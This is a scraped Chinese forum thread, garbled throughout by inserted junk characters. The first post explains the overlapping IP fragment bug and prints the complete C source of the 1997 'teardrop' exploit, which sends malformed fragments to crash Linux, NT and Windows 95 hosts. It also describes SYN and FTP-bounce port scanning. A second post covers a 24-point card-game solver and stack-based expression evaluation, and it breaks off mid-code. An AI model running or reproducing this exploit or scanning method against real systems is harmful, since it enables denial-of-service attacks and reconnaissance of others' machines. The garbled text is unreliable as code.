; @. W& w% Z' t7 ?7 m8 Nptr += i; /* ptr into fragment data */
/ G1 ?7 C) h5 h9 }7 `' a! W9 w}</P><P>/* Fill in the structure. */4 ~9 ^+ B* R1 C: K* Q  ~
fp-&gt;offset = offset;
- t- ~( e; T( Z4 p: b6 Pfp-&gt;end = end;8 i, A: I$ u4 B
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:8 }% ?( m. K$ `' ~" \
第一个碎片:mf=1 offset=0 payload=20# ]( Z* t# _+ V! k
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 2 `  Z) t' S& ^6 j
offset=0
' c7 x2 [1 z- c" R- E3 g+ Q这样第二个碎片的 end=9+10=19* V; C2 Q- X8 b
offset=offset+(20-offset)=205 h$ V" E, i  m- C, O9 y
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
  e5 `% d7 d5 i/*
8 a* B/ m, @2 _% W  G, E3 }* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
& |2 w! K+ F! B! c0 K) }*
3 Y2 D" d" X+ U+ U  O* Linux/NT/95 Overlap frag bug exploit) f6 F4 v3 \  t5 |
*) w: X9 s5 B# @6 X
* Exploits the overlapping IP fragment bug present in all Linux kernels and
9 L4 @  L* z8 ~9 T0 |; A* NT 4.0 / Windows 95 (others?)+ N# q+ n3 B, b( H* M6 Y
*$ i, U/ }. W: x0 X: }" p
* Based off of: flip.c by klepto
& ?& Y: `6 I9 x* x  x4 S% k. E1 ^9 L- a* Compiles on: Linux, *BSD*- Q4 M, x4 x$ J3 D0 \
*
" _2 u0 y8 v+ N& {  D* gcc -O2 teardrop.c -o teardrop
' \/ i* H& J6 p/ c9 s4 Z* OR
: [! {# |+ x, R% |2 H0 w$ L* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
( [8 z3 L) K1 A% u*/</P><P>#include <STDIO.H>
$ F$ z/ m! x7 m# _#include <STDLIB.H>0 k! S0 ]1 Y9 G3 L' C
#include <UNISTD.H>
5 h& x; A7 i& N$ }% V#include <STRING.H>
! U& _" Q& F% R6 w: P: e4 ?#include <NETDB.H>
$ _) h* ~! u3 S# c$ E#include <NETINET in.h>5 H4 I, I, i- l  l
#include <NETINET udp.h>% T. d# ~# N7 E2 H
#include <ARPA inet.h>, e8 B8 g; k9 M0 x
#include <SYS types.h>
% k5 ]3 B9 x6 J7 _0 }' @#include <SYS time.h>/ k3 a! h: A+ q  J
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
5 b- J' @7 A2 H2 s/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */' c* L( e8 W  ]1 f8 Z8 U& ?# y
#define FIX(n) (n)! @5 d/ Z- o& x# E* C
#else /* OpenBSD 2.1, all Linux */
; W) S! l" Q1 r( a. d5 D#define FIX(n) htons(n)
8 y. H1 W( D( Z1 P4 ^. J# O#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */4 O. e7 ]+ w1 C6 l
#define IPH 0x14 /* IP header size */
7 z+ Y" a: O" G8 z7 f6 J8 Z) \5 t#define UDPH 0x8 /* UDP header size */' J- @8 W0 k- z# @( k* X3 m  E' B
#define PADDING 0x1c /* datagram frame padding for first packet */
) w5 l+ L; g  ?2 h! X, I#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
' }$ v' r: y% t* [1 T#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can, n8 ~. r0 d# O- S' e8 E
* withstand maybe 5 or 10 sometimes... Experiment.8 Q6 {' ^0 r, j& a& [/ O% ~7 z
*/</P><P>void usage(u_char *);
4 z" F% [# @6 c, \- X8 ~u_long name_resolve(u_char *);
7 V3 D- {8 u& [: B/ Q" `, q% A" {2 E8 Tu_short in_cksum(u_short *, int);* ?+ }0 Q$ l2 ]9 e( s/ D
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
3 Y& c7 a$ r/ m7 U! C4 e0 H$ o{% |" |& `* H- |3 k
int one = 1, . {, O' Y' h  b3 t' c
count = 0,
% v. N! o( u# L, Y; M- x( D! J7 y/ Wi,
, [4 p9 Z8 p8 m" d, O% Erip_sock;
$ f; B/ a" C) s* }! {u_long src_ip = 0, dst_ip = 0;
$ O# G) X' O2 w& O- D& ?6 I% v! Zu_short src_prt = 0, dst_prt = 0;8 F  `2 c- ^7 A+ @. ?
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW* \) {% ^! ^" Y, ]0 A
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
* |) L" |  ^- E) ]" P8 R( n# q{: H1 q$ K5 p& e7 G
perror("raw socket");- w2 @; x" x) b0 F  ^0 S. j
exit(1);$ Q; ?: m9 w; Q7 d8 j6 E
}9 |8 D" z& U' O4 }& Z' Y! o+ C
//由系统处理IP校验和。! r3 z* C7 `( r2 A( w+ F
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
7 \" Y! j# z1 ?7 U9 B&lt; 0)
! r1 b3 b3 y3 _3 z{
- t% K' f% b+ e5 |" Kperror("IP_HDRINCL");+ D$ u' U* z* e3 q
exit(1);$ b% `" f# M7 O9 `5 Z
}</P><P>if (argc &lt; 3) usage(argv[0]);$ y, j6 _9 f  {9 u) z# ]) `, T4 G
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
. U0 O8 b$ R* l, K# U{
6 o& `4 d. y1 m) u7 ufprintf(stderr, "What the hell kind of IP address is that?\n");1 _& o" h1 V0 p% {
exit(1);  n/ a! t' s1 A. w
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
8 x2 v- {" M4 J9 C- [, m{
: _! x- `( l) T3 x) e+ Gswitch (i)
4 D% p6 l) \+ {& ]9 t1 b{& Z' |% a" T1 ~1 k% J6 P
case 's': /* source port (should be emphemeral) */0 y. d1 W. _1 f
src_prt = (u_short)atoi(optarg);
$ q4 R0 a" f4 L* o& [8 f9 sbreak;2 I- ^2 Y/ P8 U: B( w# O
case 't': /* dest port (DNS, anyone?) */! u/ j0 t  X. r9 H* {7 x' _
dst_prt = (u_short)atoi(optarg);
2 ]' \) a( O' l+ E6 x8 Y; kbreak;
7 r% k' r) F: ]" i' f0 ^! x$ _case 'n': /* number to send */
* q9 _; t* l3 O! B* P" F& L! lcount = atoi(optarg);
. I6 v) v7 P7 t# o2 W  @: jbreak;
4 h, O' x" X7 T) `5 j5 T% Pdefault :4 a& j) I8 [9 C' x" R
usage(argv[0]);- e. p* x7 Y) s1 G& h5 X. x( k, ^
break; /* NOTREACHED */3 S4 M/ F, e( j  u9 _+ f$ g" `
}; l0 W5 n- n9 e6 O8 a* D( r4 S
}</P><P>srandom((unsigned)(time((time_t)0)));+ t7 {& W) n0 F
if (!src_prt) src_prt = (random() % 0xffff);. r8 O. A; t- d, A
if (!dst_prt) dst_prt = (random() % 0xffff);
: v) T, t+ Q3 x5 J! s1 N1 lif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");9 ]" }" }6 W9 S4 o  ~
addr.s_addr = src_ip;& L& J1 x6 ?' ]& e: G- D
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);" z+ j8 x$ |% N7 G# O
addr.s_addr = dst_ip;
/ M4 Y8 U- V5 J4 p2 t- ]) A/ I! Sfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);( U3 Z( n; }( F, @/ \
fprintf(stderr, " Amt: %5d\n", count);
# z* D4 S  M& P3 \5 j4 ofprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
1 m- z$ U0 s: Q4 F" r7 ^9 \5 q" d{
! ]4 ~3 N! h8 r- R4 ssend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);5 C2 J$ X, Z( x
fprintf(stderr, "b00m ");/ p0 h3 e0 w! E/ I; S
usleep(500);: X; a# M! @. J, `( C' f/ b7 |6 |1 ^9 c
}& [  G; b! b- V& q0 {
fprintf(stderr, "]\n");; e" O! J& A: q! u# X  {% d9 o
return (0);
; P8 u( W% s# d' C}</P><P>/*
4 _' f% [9 K% E8 t4 e6 R4 R* Send two IP fragments with pathological offsets. We use an implementation/ t% Q' j/ p1 k5 D
* independent way of assembling network packets that does not rely on any of
( s+ d6 c, C0 ?8 v* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).2 B  s$ ^# K8 o  H! I! `
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,5 S4 T# X. F/ l7 }0 f5 \2 \! k
u_short dst_prt)
( W; @$ y( ]9 o" [6 Q+ W1 G( [  M{
! E5 }% u" O/ R9 I5 wu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
" S% c$ m. _# p8 K. y5 B) Z! au_char byte; /* a byte */
, [) w6 g9 m  hstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
( `. ~8 }% R2 h! D% w; e! fsin.sin_port = src_prt;+ ^5 x# }7 V! }( \# S
sin.sin_addr.s_addr = dst_ip;</P><P>/*
2 A* V  V" ^( `: Z1 X+ A: h* Grab some memory for our packet, align p_ptr to point at the beginning6 w& Q8 K# L% i
* of our packet, and then fill it with zeros.
; o* d* a7 n% V1 S* n- ^, N*/
2 p$ B0 P& }7 U, i0 F) Hpacket = (u_char *)malloc(IPH + UDPH + PADDING);
; I" R. H6 s- X# `/ C+ ?& Pp_ptr = packet;( j! o2 g  @2 n
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */6 }& E+ W* P/ s
memcpy(p_ptr, &amp;byte, sizeof(u_char));" P$ Q* t% A, [" A! Y: j
p_ptr += 2; /* IP TOS (skipped) */
6 \- h( e% U% |+ a*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */' Z& j7 y% o; k  d7 p6 J# x
p_ptr += 2;
5 V& H: u) k9 ^- |*((u_short *)p_ptr) = htons(242); /* IP id */8 d' W, T' O/ L  R- l! k4 C
p_ptr += 2;
; |+ Y% q) r+ ?7 D( R& e) n( p: P*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
. Z) J0 A9 |( @" P8 Y- T0 _% ]4 Sp_ptr += 2;
6 T- `+ W4 w3 @9 u; e( W2 Z*((u_short *)p_ptr) = 0x40; /* IP TTL */' G$ h4 X; o1 Z; ]' M
byte = IPPROTO_UDP;# a; y/ n- ?  ^, N  L
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
- Z  O, n5 v% ^' [3 Tp_ptr += 4; /* IP checksum filled in by kernel */' \1 \# H4 ]# i: ~
*((u_long *)p_ptr) = src_ip; /* IP source address */* z5 L8 O& w5 p8 [" o/ U1 r
p_ptr += 4;
- X3 S7 L4 i& v* z5 i- u*((u_long *)p_ptr) = dst_ip; /* IP destination address */4 I1 k; W6 ?" E/ {, g: i
p_ptr += 4;/ \2 g5 l$ u1 s2 O- A- D8 ?
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */" z3 w! C6 V4 f  U3 C8 |: M+ F
p_ptr += 2;# p: M( C3 N( K8 T) P
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
- G( U. N8 R+ ?0 w3 p( Bp_ptr += 2;
; ]3 `) G. Z! d& n3 N*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,& ~: w7 G% H4 Z: r
sizeof(struct sockaddr)) == -1)6 P( s; A  M2 Q" \! ~& k
{
5 h7 M2 k6 x) B; Dperror("\nsendto");1 i: o  I) |7 h! I+ Y+ w
free(packet);( f1 ?( I8 l0 V3 W
exit(1);
' `' o5 }% G6 T. v# ]$ }}</P><P>/* We set the fragment offset to be inside of the previous packet's
/ u* R5 z: ?# T" s9 X* payload (it overlaps inside the previous packet) but do not include
; D) |/ a& |: D/ \; d+ ~* enough payload to cover complete the datagram. Just the header will
4 g& F. E* |1 L" r; @0 o* do, but to crash NT/95 machines, a bit larger of packet seems to work/ V3 Q# B1 a3 v0 X
* better.
$ n* ^" ]$ f0 n: Q) t*/) L  F/ e7 c( b3 M
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
6 L" L/ l. @; c! u0 U*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);' p* `) O' \' T
p_ptr += 4; /* IP offset is 6 bytes into the header */$ K  c9 ^5 E" ~. w/ R
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,6 [0 [( T9 A. ]1 G5 ^, x
sizeof(struct sockaddr)) == -1)1 ?) C5 ~5 V& \3 f; }/ |
{
6 [3 y& t# }2 }) F5 M  {+ Wperror("\nsendto");! A7 Z) F+ R5 t9 p9 w- w4 @2 h# s
free(packet);0 O$ X8 \) o+ t# D; q
exit(1);
6 Z% O2 \# L& g" D: Z  Y8 _$ ?}
0 Z8 z( t8 ]4 yfree(packet);
: X! _  @9 ^, \2 b}</P><P>u_long name_resolve(u_char *host_name)
) p" W/ L: N. C7 @: {; C{
% T. p, ^8 Y: }4 U* G/ ]struct in_addr addr;
: }8 P2 R4 t3 a) }2 m' Ustruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)5 A* `0 Y/ q1 I- e" a" Q9 H! ]& m
{
$ W" U# [& `% Pif (!(host_ent = gethostbyname(host_name))) return (0);' f* I  T5 t- q' C9 g& J6 ^
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);+ B' `0 T+ C- W  i5 L$ S
}
: O  P% j4 a3 V( W, C- a  x3 {' N0 }return (addr.s_addr);% I( f( O! C1 u9 g
}</P><P>void usage(u_char *name)7 v+ h2 a  `( p5 t4 ?. I$ k
{
' h0 P: A* X3 Y3 Mfprintf(stderr,1 O- g2 ?( `, |' K5 Q* j& |2 H! [( Y
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
, U/ K1 Z, i2 k2 _name);
' N3 ^+ ^# z$ K' J6 M' Y* _; o% iexit(0);% H/ b/ P, R' p4 ]4 G7 Y; l
}</P><P># B1 Q2 ]. c) W" }. U5 H" s
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
) h) }# A# K. I, n# L(1) Half-open(半打开)
! {" ?0 w  H, y( c1 }' h利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),: d$ @$ A' ^3 M# a; u; u1 g
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner& m% ]+ t+ O" f& `% V9 N/ @
利用了FTP的port命令,例如可以这样作:
' h  Y0 E( I. Y% c选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: ^- X2 E( v' p. R5 Y值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则' B/ q8 d( e9 i7 o  z
该端口无服务。5 M/ |9 ]+ C0 Y- [
telnet 192.168.1.13 21! h/ {7 D% K6 q( o6 K$ D; e
Trying 192.168.1.13...
! Z7 ?  Z: c# f1 G$ }Connected to pp.bricks.org.; W9 J& S5 B$ O& Z
Escape character is '^]'.
4 ?/ N, r/ h$ G9 Z% t220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) / a: s* R; D( n& h, S$ O5 p
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous- b' E, y: c* J5 r
331 Guest login ok, send your complete e-mail address as password.3 L. B" S: c! ]. J& n$ p% r, O+ I
pass aa@aa.aa6 V% {9 n: J3 r% o  k- q2 k" t3 s
230 Guest login ok, access restrictions apply.7 h+ w4 g6 K6 P6 [  ~
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.9 q& K$ S" _' `/ `' ]
425 Can't build data connection: Connection refused.  l$ g6 T% |: H# W$ G
//该端口未活动
( [- f# {! L$ S$ x' O2 t150 Opening ASCII mode data connection for file list.8 ?/ e# y: U/ W1 ]. H
226 Transfer complete.
# e! M+ F) C: |) ^//该端口活动中
" {2 ?- w5 y! m& S; J但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing( f. [& r' `5 X" Z: F. @
SYN|FIN ACK or SYN|ACK* RST; {/ }* s8 p5 l' C
ACK Nothing RST  E' B7 G  u/ Z; w0 J' E4 G) }
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
7 R+ s/ D' N4 y' |( C4 H一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
( Q- E0 F2 A5 k% B9 [若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认3 _* |% A0 x+ T! P2 k
定它在向你做portscan。</P><P>notes:
% A+ G5 s" ~* ~) z8 s% j( c早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
) {+ h! U  [2 S) u而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的, b3 O* |% o+ r- e) @  \# B7 R* h
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
% f, x. o. }: ~8 f  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
& t: b% K1 q0 r: T9 _3 K0 a% W: H$ V2 S0 N
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
: d( d/ p9 `' q2 K, u首先穷举的可行性问题。我把表达式如下分成三类——
( B# @# v2 U6 q* R% y; G% g4 q1 F<FONT color=#ff0000>1、 无括号的简单表达式。
: t4 I7 r: l0 ]% U# i% [4 D! d2、 有一个括号的简单表达式。% l2 ?; N4 ]3 o: h1 d
3、 有两个括号的较复4、 杂表达式。
0 D" Z% E9 V3 E# K, S, {5 K</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
  N. n; T: I* _7 |) T  @<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */7 S" ~. B$ \1 X0 E0 l0 Q" h) U
/* c[] 存放四张牌的数组 */
5 i! d" E% T  a3 U# E/* k[] c[]种四张牌的代号,其中k[I]=I+1。
4 H9 Z  Y2 ~8 a用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
- I! k+ ~- r2 c; W/* kans[] 暂存生成的排列组合 */
$ w1 N' U( D( ~, D/* j 嵌套循环的次数 */; d" m- H+ [/ R+ B( b. @6 |! ^
int fans(c,k,ans,kans,j)$ [/ v( |% t1 u7 e  z7 b9 I/ h
int j,k[],c[];char ans[],kans[];
1 ~2 Z3 U& y& J, o" U* @+ Q# k3 b{ int i,p,q,r,h,flag,s[4],t[4][4];
6 a4 q5 E7 Q" t' t& P+ A" Zfor(p=0,q=0;p&lt;4;p++)
' H2 i1 A( {* E: d5 a" f{ for(r=0,flag=0;r<J;R++)+ l- E# m& U& L+ e. t
if(k[p]!=kans[r]) flag++;
0 g7 l) ~, Y  s" n7 U5 j6 `if(flag==j) t[j][q++]=k[p];
2 _8 k7 m1 E0 T  M}
, s4 J8 h0 U' k  Y' T( I8 G3 {2 xfor(s[j]=0;s[j]&lt;4-j;s[j]++)2 I2 `2 I! ^# ?7 e- B3 }% W- P
{ kans[j]=t[j][s[j]];" O/ m: d' @, m; s* R+ m
if(j==3) { for(h=0;h&lt;4;h++)8 G* E4 C" t# S2 i( H* l
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表) L. [, s$ B7 @' ^8 O' K; S
达式中的位置 */- R& G( F. H7 A9 r: D" E
for(h=0;h&lt;3;h++)
' J3 b! G3 f6 c! x9 Msymbol(ans,h); /* 在表达式中添加运算符号 */
- w6 X, j: o& F  r1 n2 p1 X2 ?3 q7 g}! ^) m. b8 U7 |! S; @3 d
else { j++;
0 u& e6 @% `% nfans(c,k,ans,kans,j);( |- U5 I3 w2 t" J1 n
j--;4 n/ E& x$ v" u8 I/ }" J! v% \
}  k/ a" ~2 \+ C' ^& g- `5 v
}! D0 Q, M. m1 t$ }
}</FONT>
, t2 B; k$ s( F6 i" O
9 Y+ m' b. ~+ N6 ]0 v  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
8 {; N8 Q/ G6 l. A+ b
6 L: x+ s! `* [<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
$ p% ]. p9 B7 Z* M* r9 S- F7 Jint sans(ans,sy,j,h)
2 ?: U2 Q" v( k. x( kchar ans[],sy[];int j,h;
6 d' W; J- L; t5 t5 {{ int i,p,k[3],m,n; char ktans[20];6 |+ V7 q5 w6 D  X
for(k[j]=0;k[j]&lt;4;k[j]++)
( H) u3 B2 P" y" d& Q- x{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
/ U/ |4 X# ]# F* X% V4 ^这里的三个运算符号分别存放在1、3、5位*/
* d6 B9 o% d  f5 vif(j==2)
2 D8 T8 l0 W$ r* E{ ans[5]=sy[k[j]];
1 R! g! l) w& L/* 此处根据不同的表达式形式再进行相应的处理 */
# ~" U+ T2 d$ Y1 U}% i& i" w1 v' v
else { j++; sans(ans,sy,j--,h); }1 T/ ?* X: m7 U
}% d$ ^/ V" Y  l4 q2 |& J
}+ Q' I4 X: @3 E9 o5 m

. p& v( Q: X9 V: Y</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
. X0 u! d5 J! ?4 g1 A, s& P/ Z; Lfor(m=0;m&lt;=4;m+=2)
. k( H8 h: n/ Z: |for(n=m+4;n&lt;=8;n+=2)
& _  p! j7 d7 y) i0 S4 M; q  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。$ \1 q; t$ I* Y% i0 f0 R

! w6 T+ W# K( \1 }; v3 l6 A  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。% X/ a& [  S  j' x- i
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
0 b! p  ?5 B$ T$ S2 J- k& R) z在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
# {( W7 o! d7 Q
, z  p9 r, n& Z. o  G  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。3 A3 Z- S1 N+ K$ d  r0 ]! [

/ X! P' ^5 E: A: b/ ]& d' B5 L8 H  那么作为栈的著名应用,表达式的计算可以有两种方法。
3 j' d' v' {4 i( `7 C$ A  ^0 ^! A9 _2 |+ k
  <FONT color=#ff0000>第一种方法——</FONT>5 O% g" l+ r7 \* o& G: E* a
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
( e9 O  W7 a# P( M  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:$ m' B, H# Q# X$ z( T+ M
1、 若W为操作数5 {6 ?. N, r) r4 l: T
2、 则将W压入操作数栈OVS
& Q& U" W' X* p3、 且继续扫描下一个字符
$ p' W& i3 c" q5 }4、 若W为运算符
' G" l" u3 l7 Y4 k: Z/ n5、 则根据运算符的性质做相应的处理:/ Q0 G7 G" o, i' u/ v, @
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。7 [' y7 k! U+ \* o0 p; K' c# R1 v
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
+ [, \% B: y$ P5 P0 A( ~(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
6 z0 D3 n& h$ v3 [(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。; [8 m7 w) _. W+ X& v$ I
" J0 L' k& y8 E/ R/ n+ Q* u
<FONT color=#ff0000>  第二种方法——</FONT>
+ V# y8 I: Y0 `3 I& z* s  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
# Y8 g( Q, j' N
0 T9 Z' K6 C: K* H4 Y" p# X5 U) {  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。8 X1 i+ h5 d. W5 s$ b3 O8 h% B
. T' E* m# u) _$ {# W9 h
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
7 {3 Y" P6 F' ^% a6 T) r0 s. s# n表达式 波兰表达式; B- Y, d/ b' H1 y) N
A-B AB-7 `( R$ h4 m3 v- G! a' S
(A-B)*C+D AB-C*D+! j. k0 w. R4 x* }3 i! Y" b0 O
A*(B+C/D)-E*F ABCD/+*EF*-2 A" M# R4 W' R. E$ a% R5 o: P
(B+C)/(A-D) BC+AD-/
4 t- D6 J2 G6 H1 Q' U* k& i$ W4 k, C5 h
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。! Z. G" x' M/ U0 F
8 K" w( W' F7 f3 J- K; T8 Z
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。' k4 c, c* H9 g$ H

$ n) a' R/ }* ?% t6 x; l4 ^; G8 W  下面给出转换和计算的具体实现程序——
& I# k' f4 ]- b" `5 \' G' C
$ e: ?( g9 y8 P; q) V0 B<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */1 c/ Y* Y/ ^( h9 C: W4 ]2 l
int first(char c)
: U" C; ]) [( r5 P5 H; |5 k{ int p;" x. }$ p; ^$ |5 Z' r, |
switch(c)
4 L1 {/ U; {9 }) ]; }{ case '*': p=2; break;
1 W- g2 }2 O. c: g# @' T7 Qcase '/': p=2; break;
9 K' I3 x5 q5 Mcase '+': p=1; break;4 P) [+ x; Y: @
case '-': p=1; break;! {# L$ w4 v$ `- J
case '(': p=0; break;
* `1 N8 B+ W, \$ |8 T6 }1 xcase '=': p=-1; break;+ O& w0 n- ~& f
}
